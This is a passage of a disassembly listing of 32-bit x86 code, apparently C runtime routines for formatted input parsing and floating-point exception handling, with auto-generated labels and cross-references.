		pop	ecx


loc_420B35:				; CODE XREF: sub_420510+6BCj
					; sub_420510+6C4j
		cmp	[ebp+var_20], 0
		jz	short loc_420B49
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	loc_420BE5


loc_420B49:				; CODE XREF: sub_420510+629j
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+var_14], eax
		jz	short loc_420BD9
		mov	ecx, eax
		push	1
		and	ecx, 7
		pop	edx
		movsx	ebx, [ebp+var_18]
		shl	edx, cl
		mov	ecx, eax
		sar	ecx, 3
		movsx	ecx, [ebp+ecx+var_64]
		xor	ecx, ebx
		test	edx, ecx
		jz	short loc_420BD9
		cmp	[ebp+var_E], 0
		jnz	short loc_420BD1
		cmp	[ebp+var_16], 0
		jz	short loc_420BC6
		mov	ecx, off_43C9A8
		mov	[ebp+var_38], al
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_420BA5
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		pop	ecx
		mov	[ebp+var_37], al


loc_420BA5:				; CODE XREF: sub_420510+686j
		push	dword_43CBB4
		lea	eax, [ebp+var_38]
		push	eax
		lea	eax, [ebp+var_3E]
		push	eax
		call	sub_423EC3
		mov	ax, [ebp+var_3E]
		add	esp, 0Ch
		mov	[esi], ax
		inc	esi
		inc	esi
		jmp	short loc_420BC9
; ---------------------------------------------------------------------------


loc_420BC6:				; CODE XREF: sub_420510+673j
		mov	[esi], al
		inc	esi


loc_420BC9:				; CODE XREF: sub_420510+6B4j
		mov	[ebp+var_2C], esi
		jmp	loc_420B35
; ---------------------------------------------------------------------------


loc_420BD1:				; CODE XREF: sub_420510+66Dj
		inc	[ebp+var_30]
		jmp	loc_420B35
; ---------------------------------------------------------------------------


loc_420BD9:				; CODE XREF: sub_420510+649j
					; sub_420510+667j
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_420F86
		pop	ecx
		pop	ecx


loc_420BE5:				; CODE XREF: sub_420510+633j
		cmp	[ebp+var_30], esi
		jz	loc_420F16
		cmp	[ebp+var_E], 0
		jnz	loc_420E77
		inc	[ebp+var_34]
		cmp	[ebp+var_3C], 63h
		jz	loc_420E77
		cmp	[ebp+var_16], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_420C17
		and	word ptr [eax],	0
		jmp	loc_420E77
; ---------------------------------------------------------------------------


loc_420C17:				; CODE XREF: sub_420510+6FCj
		and	byte ptr [eax],	0
		jmp	loc_420E77
; ---------------------------------------------------------------------------


loc_420C1F:				; CODE XREF: sub_420510+466j
		mov	[ebp+var_D], 1


loc_420C23:				; CODE XREF: sub_420510+203j
					; sub_420510+215j ...
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	short loc_420C31
		mov	[ebp+var_17], 1
		jmp	short loc_420C36
; ---------------------------------------------------------------------------


loc_420C31:				; CODE XREF: sub_420510+719j
		cmp	ebx, 2Bh
		jnz	short loc_420C58


loc_420C36:				; CODE XREF: sub_420510+71Fj
		dec	[ebp+var_C]
		jnz	short loc_420C47
		cmp	[ebp+var_20], 0
		jz	short loc_420C47
		mov	[ebp+var_F], 1
		jmp	short loc_420C58
; ---------------------------------------------------------------------------


loc_420C47:				; CODE XREF: sub_420510+729j
					; sub_420510+72Fj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		pop	ecx
		mov	ebx, eax


loc_420C55:				; CODE XREF: sub_420510+543j
		mov	[ebp+var_14], ebx


loc_420C58:				; CODE XREF: sub_420510+4FDj
					; sub_420510+52Dj ...
		cmp	[ebp+var_30], 0
		jz	loc_420D71
		cmp	[ebp+var_F], 0
		jnz	loc_420D4F


loc_420C6C:				; CODE XREF: sub_420510+82Cj
		cmp	esi, 78h
		jnz	short loc_420CC0
		cmp	dword_43CBB4, 1
		jle	short loc_420C89
		push	80h
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420C96
; ---------------------------------------------------------------------------


loc_420C89:				; CODE XREF: sub_420510+768j
		mov	eax, off_43C9A8
		mov	al, [eax+ebx*2]
		and	eax, 80h


loc_420C96:				; CODE XREF: sub_420510+777j
		test	eax, eax
		jz	loc_420D41
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	4
		pop	ecx
		call	sub_423F90
		push	ebx
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx
		call	sub_420F35
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_420D13
; ---------------------------------------------------------------------------


loc_420CC0:				; CODE XREF: sub_420510+75Fj
		cmp	dword_43CBB4, 1
		jle	short loc_420CD5
		push	4
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420CE0
; ---------------------------------------------------------------------------


loc_420CD5:				; CODE XREF: sub_420510+7B7j
		mov	eax, off_43C9A8
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_420CE0:				; CODE XREF: sub_420510+7C3j
		test	eax, eax
		jz	short loc_420D41
		cmp	esi, 6Fh
		jnz	short loc_420CFE
		cmp	ebx, 38h
		jge	short loc_420D41
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	3
		pop	ecx
		call	sub_423F90
		jmp	short loc_420D0D
; ---------------------------------------------------------------------------


loc_420CFE:				; CODE XREF: sub_420510+7D7j
		push	0
		push	0Ah
		push	[ebp+var_24]
		push	[ebp+var_28]
		call	sub_41D280


loc_420D0D:				; CODE XREF: sub_420510+7ECj
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx


loc_420D13:				; CODE XREF: sub_420510+7AEj
		inc	[ebp+var_1C]
		lea	eax, [ebx-30h]
		cdq
		add	[ebp+var_28], eax
		adc	[ebp+var_24], edx
		cmp	[ebp+var_20], 0
		jz	short loc_420D2B
		dec	[ebp+var_C]
		jz	short loc_420D4F


loc_420D2B:				; CODE XREF: sub_420510+814j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_420C6C
; ---------------------------------------------------------------------------


loc_420D41:				; CODE XREF: sub_420510+788j
					; sub_420510+7D2j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_420F86
		pop	ecx
		pop	ecx


loc_420D4F:				; CODE XREF: sub_420510+756j
					; sub_420510+819j
		cmp	[ebp+var_17], 0
		jz	loc_420E35
		mov	eax, [ebp+var_28]
		mov	ecx, [ebp+var_24]
		neg	eax
		adc	ecx, 0
		mov	[ebp+var_28], eax
		neg	ecx
		mov	[ebp+var_24], ecx
		jmp	loc_420E35
; ---------------------------------------------------------------------------


loc_420D71:				; CODE XREF: sub_420510+74Cj
		cmp	[ebp+var_F], 0
		jnz	loc_420E2D


loc_420D7B:				; CODE XREF: sub_420510+90Aj
		cmp	esi, 78h
		jz	short loc_420DBF
		cmp	esi, 70h
		jz	short loc_420DBF
		cmp	dword_43CBB4, 1
		jle	short loc_420D9A
		push	4
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420DA5
; ---------------------------------------------------------------------------


loc_420D9A:				; CODE XREF: sub_420510+87Cj
		mov	eax, off_43C9A8
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_420DA5:				; CODE XREF: sub_420510+888j
		test	eax, eax
		jz	short loc_420E1F
		cmp	esi, 6Fh
		jnz	short loc_420DB8
		cmp	ebx, 38h
		jge	short loc_420E1F
		shl	edi, 3
		jmp	short loc_420DF7
; ---------------------------------------------------------------------------


loc_420DB8:				; CODE XREF: sub_420510+89Cj
		lea	edi, [edi+edi*4]
		shl	edi, 1
		jmp	short loc_420DF7
; ---------------------------------------------------------------------------


loc_420DBF:				; CODE XREF: sub_420510+86Ej
					; sub_420510+873j
		cmp	dword_43CBB4, 1
		jle	short loc_420DD7
		push	80h
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420DE4
; ---------------------------------------------------------------------------


loc_420DD7:				; CODE XREF: sub_420510+8B6j
		mov	eax, off_43C9A8
		mov	al, [eax+ebx*2]
		and	eax, 80h


loc_420DE4:				; CODE XREF: sub_420510+8C5j
		test	eax, eax
		jz	short loc_420E1F
		push	ebx
		shl	edi, 4
		call	sub_420F35
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_420DF7:				; CODE XREF: sub_420510+8A6j
					; sub_420510+8ADj
		inc	[ebp+var_1C]
		cmp	[ebp+var_20], 0
		lea	edi, [edi+ebx-30h]
		jz	short loc_420E09
		dec	[ebp+var_C]
		jz	short loc_420E2D


loc_420E09:				; CODE XREF: sub_420510+8F2j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_420D7B
; ---------------------------------------------------------------------------


loc_420E1F:				; CODE XREF: sub_420510+897j
					; sub_420510+8A1j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_420F86
		pop	ecx
		pop	ecx


loc_420E2D:				; CODE XREF: sub_420510+865j
					; sub_420510+8F7j
		cmp	[ebp+var_17], 0
		jz	short loc_420E35
		neg	edi


loc_420E35:				; CODE XREF: sub_420510+843j
					; sub_420510+85Cj ...
		cmp	esi, 46h
		jnz	short loc_420E3E
		and	[ebp+var_1C], 0


loc_420E3E:				; CODE XREF: sub_420510+928j
		cmp	[ebp+var_1C], 0
		jz	loc_420F16
		cmp	[ebp+var_E], 0
		jnz	short loc_420E77
		inc	[ebp+var_34]


loc_420E51:				; CODE XREF: sub_420510+23Bj
		cmp	[ebp+var_30], 0
		jz	short loc_420E67
		mov	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_28]
		mov	[eax], ecx
		mov	ecx, [ebp+var_24]
		mov	[eax+4], ecx
		jmp	short loc_420E77
; ---------------------------------------------------------------------------


loc_420E67:				; CODE XREF: sub_420510+945j
		cmp	[ebp+var_D], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_420E74
		mov	[eax], edi
		jmp	short loc_420E77
; ---------------------------------------------------------------------------


loc_420E74:				; CODE XREF: sub_420510+95Ej
		mov	[eax], di


loc_420E77:				; CODE XREF: sub_420510+241j
					; sub_420510+414j ...
		inc	[ebp+var_15]
		inc	[ebp+arg_4]
		mov	esi, [ebp+arg_4]
		jmp	short loc_420EC4
; ---------------------------------------------------------------------------


loc_420E82:				; CODE XREF: sub_420510+93j
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		movzx	eax, byte ptr [esi]
		inc	esi
		cmp	eax, ebx
		mov	[ebp+var_14], ebx
		mov	[ebp+arg_4], esi
		jnz	short loc_420EF1
		mov	ecx, off_43C9A8
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_420EC4
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		pop	ecx
		movzx	ecx, byte ptr [esi]
		inc	esi
		cmp	ecx, eax
		mov	[ebp+arg_4], esi
		jnz	short loc_420EFF
		dec	[ebp+var_4]


loc_420EC4:				; CODE XREF: sub_420510+970j
					; sub_420510+99Aj
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_420EDA
		cmp	byte ptr [esi],	25h
		jnz	short loc_420F1C
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax+1], 6Eh
		jnz	short loc_420F1C
		mov	esi, eax


loc_420EDA:				; CODE XREF: sub_420510+9B8j
		mov	al, [esi]
		test	al, al
		jnz	loc_42053A
		jmp	short loc_420F16
; ---------------------------------------------------------------------------


loc_420EE6:				; CODE XREF: sub_420510+1F4j
					; sub_420510+491j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	[ebp+var_14]
		jmp	short loc_420EF6
; ---------------------------------------------------------------------------


loc_420EF1:				; CODE XREF: sub_420510+98Aj
		dec	[ebp+var_4]
		push	edi
		push	ebx


loc_420EF6:				; CODE XREF: sub_420510+9DFj
		call	sub_420F86
		pop	ecx
		pop	ecx
		jmp	short loc_420F16
; ---------------------------------------------------------------------------


loc_420EFF:				; CODE XREF: sub_420510+9AFj
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_420F86
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_420F86
		add	esp, 10h


loc_420F16:				; CODE XREF: sub_420510+1Fj
					; sub_420510+40Aj ...
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_420F2D


loc_420F1C:				; CODE XREF: sub_420510+9BDj
					; sub_420510+9C6j
		mov	eax, [ebp+var_34]
		test	eax, eax
		jnz	short loc_420F30
		cmp	[ebp+var_15], al
		jnz	short loc_420F30
		or	eax, 0FFFFFFFFh
		jmp	short loc_420F30
; ---------------------------------------------------------------------------


loc_420F2D:				; CODE XREF: sub_420510+A0Aj
		mov	eax, [ebp+var_34]


loc_420F30:				; CODE XREF: sub_420510+A11j
					; sub_420510+A16j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_420510	endp


; =============== S U B	R O U T	I N E =======================================



sub_420F35	proc near		; CODE XREF: sub_420510+7A3p
					; sub_420510+8DCp

arg_0		= dword	ptr  4

		cmp	dword_43CBB4, 1
		push	esi
		jle	short loc_420F4F
		mov	esi, [esp+4+arg_0]
		push	4
		push	esi
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420F5E
; ---------------------------------------------------------------------------


loc_420F4F:				; CODE XREF: sub_420F35+8j
		mov	esi, [esp+4+arg_0]
		mov	eax, off_43C9A8
		mov	al, [eax+esi*2]
		and	eax, 4


loc_420F5E:				; CODE XREF: sub_420F35+18j
		test	eax, eax
		jnz	short loc_420F68
		and	esi, 0FFFFFFDFh
		sub	esi, 7


loc_420F68:				; CODE XREF: sub_420F35+2Bj
		mov	eax, esi
		pop	esi
		retn
sub_420F35	endp


; =============== S U B	R O U T	I N E =======================================



sub_420F6C	proc near		; CODE XREF: sub_420510+1E1p
					; sub_420510+289p ...

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		dec	dword ptr [edx+4]
		js	short loc_420F7E
		mov	ecx, [edx]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------


loc_420F7E:				; CODE XREF: sub_420F6C+7j
		push	edx
		call	sub_41F043
		pop	ecx
		retn
sub_420F6C	endp


; =============== S U B	R O U T	I N E =======================================



sub_420F86	proc near		; CODE XREF: sub_420510+6Bp
					; sub_420510+3FFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFFFh
		jz	short locret_420F9C
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_423FAF
		pop	ecx
		pop	ecx

locret_420F9C:				; CODE XREF: sub_420F86+5j
		retn
sub_420F86	endp


; =============== S U B	R O U T	I N E =======================================



sub_420F9D	proc near		; CODE XREF: sub_420510+63p
					; sub_420510+1D3p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi


loc_420FA3:				; CODE XREF: sub_420F9D+1Dj
		push	[esp+8+arg_4]
		inc	dword ptr [esi]
		call	sub_420F6C
		mov	edi, eax
		push	edi
		call	sub_41D670
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_420FA3
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_420F9D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __fastcall sub_420FC1(int,int,double,int)

sub_420FC1	proc near		; CODE XREF: sub_41C679+51p
					; sub_41C7BF+51p

var_1C		= qword	ptr -1Ch
var_14		= qword	ptr -14h
var_C		= qword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	dword_43D320, 0
		jnz	short loc_420FF6
		push	[ebp+arg_C]	; int
		fld	qword ptr [ebp+arg_4]
		push	ecx
		push	ecx		; double
		fstp	[esp+0Ch+var_C]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+14h+var_14]
		fld	qword ptr [ebp+arg_4]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+1Ch+var_1C]
		push	[ebp+arg_0]	; int
		push	1		; int
		call	sub_421576
		add	esp, 24h
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_420FF6:				; CODE XREF: sub_420FC1+Aj
		push	0FFFFh
		mov	dword_4DB928, 21h
		push	[ebp+arg_C]
		call	sub_4217E9
		fld	qword ptr [ebp+arg_4]
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_420FC1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421014(int,int,double,double,int)

sub_421014	proc near		; CODE XREF: sub_41C679:loc_41C73Cp
					; sub_41C7BF:loc_41C882p

var_74		= qword	ptr -74h
var_6C		= qword	ptr -6Ch
var_64		= qword	ptr -64h
var_5C		= dword	ptr -5Ch
var_58		= byte ptr -58h
var_20		= dword	ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= qword	ptr  10h
arg_10		= qword	ptr  18h
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	[ebp+arg_18]
		lea	eax, [ebp+arg_10]
		push	eax
		push	[ebp+arg_0]
		call	sub_42135F
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_421052
		lea	eax, [ebp+arg_10]
		and	[ebp+var_20], 0FFFFFFFEh
		push	eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+arg_18]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_4210AC
		add	esp, 18h


loc_421052:				; CODE XREF: sub_421014+1Aj
		push	[ebp+arg_0]
		call	sub_421649
		cmp	dword_43D320, 0
		pop	ecx
		jnz	short loc_421090
		test	eax, eax
		jz	short loc_421090
		push	[ebp+arg_18]	; int
		fld	[ebp+arg_10]
		push	ecx
		push	ecx		; double
		fstp	[esp+64h+var_64]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+6Ch+var_6C]
		fld	[ebp+arg_8]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+74h+var_74]
		push	[ebp+arg_4]	; int
		push	eax		; int
		call	sub_421576
		add	esp, 24h
		leave
		retn
; ---------------------------------------------------------------------------


loc_421090:				; CODE XREF: sub_421014+4Ej
					; sub_421014+52j
		push	eax
		call	sub_4215FE
		mov	[esp+5Ch+var_5C], 0FFFFh
		push	[ebp+arg_18]
		call	sub_4217E9
		fld	[ebp+arg_10]
		pop	ecx
		pop	ecx
		leave
		retn
sub_421014	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4210AC	proc near		; CODE XREF: sub_421014+36p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		xor	eax, eax
		push	ebx
		push	esi
		mov	[ecx+4], eax
		mov	ecx, [ebp+arg_0]
		push	edi
		push	1
		mov	[ecx+8], eax
		mov	ecx, [ebp+arg_0]
		pop	ebx
		mov	[ecx+0Ch], eax
		mov	cl, byte ptr [ebp+arg_8]
		test	cl, 10h
		jz	short loc_4210DE
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Fh
		or	[eax+4], ebx


loc_4210DE:				; CODE XREF: sub_4210AC+23j
		test	cl, 2
		jz	short loc_4210F1
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000093h
		or	dword ptr [eax+4], 2


loc_4210F1:				; CODE XREF: sub_4210AC+35j
		test	cl, bl
		jz	short loc_421103
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000091h
		or	dword ptr [eax+4], 4


loc_421103:				; CODE XREF: sub_4210AC+47j
		test	cl, 4
		jz	short loc_421116
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Eh
		or	dword ptr [eax+4], 8


loc_421116:				; CODE XREF: sub_4210AC+5Aj
		test	cl, 8
		jz	short loc_421129
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000090h
		or	dword ptr [eax+4], 10h


loc_421129:				; CODE XREF: sub_4210AC+6Dj
		mov	esi, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		push	2
		mov	ecx, [esi]
		mov	edx, [eax+8]
		not	ecx
		and	ecx, ebx
		and	edx, 0FFFFFFEFh
		shl	ecx, 4
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		and	ecx, 4
		shl	ecx, 1
		and	edx, 0FFFFFFF7h
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 1
		and	ecx, 4
		and	edx, 0FFFFFFFBh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 3
		and	ecx, edi
		and	edx, 0FFFFFFFDh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 5
		and	ecx, ebx
		and	edx, 0FFFFFFFEh
		or	ecx, edx
		mov	[eax+8], ecx
		call	sub_4217CC
		test	al, bl
		jz	short loc_4211B2
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 10h


loc_4211B2:				; CODE XREF: sub_4210AC+FDj
		test	al, 4
		jz	short loc_4211BD
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 8


loc_4211BD:				; CODE XREF: sub_4210AC+108j
		test	al, 8
		jz	short loc_4211C8
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 4


loc_4211C8:				; CODE XREF: sub_4210AC+113j
		test	al, 10h
		jz	short loc_4211D2
		mov	ecx, [ebp+arg_0]
		or	[ecx+0Ch], edi


loc_4211D2:				; CODE XREF: sub_4210AC+11Ej
		test	al, 20h
		jz	short loc_4211DC
		mov	eax, [ebp+arg_0]
		or	[eax+0Ch], ebx


loc_4211DC:				; CODE XREF: sub_4210AC+128j
		mov	eax, [esi]
		mov	ecx, 0C00h
		and	eax, ecx
		jz	short loc_42121B
		cmp	eax, 400h
		jz	short loc_42120D
		cmp	eax, 800h
		jz	short loc_421201
		cmp	eax, ecx
		jnz	short loc_421221
		mov	eax, [ebp+arg_0]
		or	dword ptr [eax], 3
		jmp	short loc_421221
; ---------------------------------------------------------------------------


loc_421201:				; CODE XREF: sub_4210AC+147j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFEh
		or	ecx, edi
		jmp	short loc_421217
; ---------------------------------------------------------------------------


loc_42120D:				; CODE XREF: sub_4210AC+140j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFDh
		or	ecx, ebx


loc_421217:				; CODE XREF: sub_4210AC+15Fj
		mov	[eax], ecx
		jmp	short loc_421221
; ---------------------------------------------------------------------------


loc_42121B:				; CODE XREF: sub_4210AC+139j
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFFCh


loc_421221:				; CODE XREF: sub_4210AC+14Bj
					; sub_4210AC+153j ...
		mov	eax, [esi]
		mov	ecx, 300h
		and	eax, ecx
		jz	short loc_42124C
		cmp	eax, 200h
		jz	short loc_42123F
		cmp	eax, ecx
		jnz	short loc_421259
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFE3h
		jmp	short loc_421259
; ---------------------------------------------------------------------------


loc_42123F:				; CODE XREF: sub_4210AC+185j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFE7h
		or	ecx, 4
		jmp	short loc_421257
; ---------------------------------------------------------------------------


loc_42124C:				; CODE XREF: sub_4210AC+17Ej
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFEBh
		or	ecx, 8


loc_421257:				; CODE XREF: sub_4210AC+19Ej
		mov	[eax], ecx


loc_421259:				; CODE XREF: sub_4210AC+189j
					; sub_4210AC+191j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_C]
		and	ecx, 0FFFh
		mov	edx, [eax]
		shl	ecx, 5
		and	edx, 0FFFE001Fh
		or	ecx, edx
		mov	[eax], ecx
		mov	eax, [ebp+arg_0]
		or	[eax+20h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+20h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	[eax+20h], ecx
		mov	eax, [ebp+arg_10]
		fld	qword ptr [eax]
		mov	eax, [ebp+arg_0]
		fstp	qword ptr [eax+10h]
		mov	eax, [ebp+arg_0]
		or	[eax+50h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+50h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	edi, [ebp+arg_14]
		mov	[eax+50h], ecx
		mov	eax, [ebp+arg_0]
		fld	qword ptr [edi]
		fstp	qword ptr [eax+40h]
		call	sub_4217DA
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	0
		push	[ebp+arg_8]
		nop
		call	near ptr 2800000h
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+8], 10h
		jz	short loc_4212D3
		and	dword ptr [esi], 0FFFFFFFEh


loc_4212D3:				; CODE XREF: sub_4210AC+222j
		test	byte ptr [eax+8], 8
		jz	short loc_4212DC
		and	dword ptr [esi], 0FFFFFFFBh


loc_4212DC:				; CODE XREF: sub_4210AC+22Bj
		test	byte ptr [eax+8], 4
		jz	short loc_4212E5
		and	dword ptr [esi], 0FFFFFFF7h


loc_4212E5:				; CODE XREF: sub_4210AC+234j
		test	byte ptr [eax+8], 2
		jz	short loc_4212EE
		and	dword ptr [esi], 0FFFFFFEFh


loc_4212EE:				; CODE XREF: sub_4210AC+23Dj
		test	[eax+8], bl
		jz	short loc_4212F6
		and	dword ptr [esi], 0FFFFFFDFh


loc_4212F6:				; CODE XREF: sub_4210AC+245j
		mov	ecx, [eax]
		mov	edx, 0FFFFF3FFh
		and	ecx, 3
		sub	ecx, 0
		jz	short loc_42132A
		dec	ecx
		jz	short loc_42131E
		dec	ecx
		jz	short loc_421314
		dec	ecx
		jnz	short loc_42132C
		or	byte ptr [esi+1], 0Ch
		jmp	short loc_42132C
; ---------------------------------------------------------------------------


loc_421314:				; CODE XREF: sub_4210AC+25Dj
		mov	ecx, [esi]
		and	ch, 0FBh
		or	ch, 8
		jmp	short loc_421326
; ---------------------------------------------------------------------------


loc_42131E:				; CODE XREF: sub_4210AC+25Aj
		mov	ecx, [esi]
		and	ch, 0F7h
		or	ch, 4


loc_421326:				; CODE XREF: sub_4210AC+270j
		mov	[esi], ecx
		jmp	short loc_42132C
; ---------------------------------------------------------------------------


loc_42132A:				; CODE XREF: sub_4210AC+257j
		and	[esi], edx


loc_42132C:				; CODE XREF: sub_4210AC+260j
					; sub_4210AC+266j ...
		mov	ecx, [eax]
		shr	ecx, 2
		and	ecx, 7
		sub	ecx, 0
		jz	short loc_42134C
		dec	ecx
		jz	short loc_421343
		dec	ecx
		jnz	short loc_421355
		and	[esi], edx
		jmp	short loc_421355
; ---------------------------------------------------------------------------


loc_421343:				; CODE XREF: sub_4210AC+28Ej
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 2
		jmp	short loc_421353
; ---------------------------------------------------------------------------


loc_42134C:				; CODE XREF: sub_4210AC+28Bj
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 3


loc_421353:				; CODE XREF: sub_4210AC+29Ej
		mov	[esi], ecx


loc_421355:				; CODE XREF: sub_4210AC+291j
					; sub_4210AC+295j
		fld	qword ptr [eax+40h]
		fstp	qword ptr [edi]
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4210AC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42135F	proc near		; CODE XREF: sub_421014+10p

var_24		= qword	ptr -24h
var_C		= qword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	edi
		mov	edi, eax
		and	edi, 1Fh
		push	1
		test	al, 8
		pop	ebx
		jz	short loc_42138A
		test	byte ptr [ebp+arg_8], bl
		jz	short loc_42138A
		push	ebx
		call	sub_42180C
		pop	ecx
		and	edi, 0FFFFFFF7h
		jmp	loc_421554
; ---------------------------------------------------------------------------


loc_42138A:				; CODE XREF: sub_42135F+15j
					; sub_42135F+1Aj
		test	al, 4
		jz	short loc_4213A4
		test	byte ptr [ebp+arg_8], 4
		jz	short loc_4213A4
		push	4
		call	sub_42180C
		pop	ecx
		and	edi, 0FFFFFFFBh
		jmp	loc_421554
; ---------------------------------------------------------------------------


loc_4213A4:				; CODE XREF: sub_42135F+2Dj
					; sub_42135F+33j
		test	al, bl
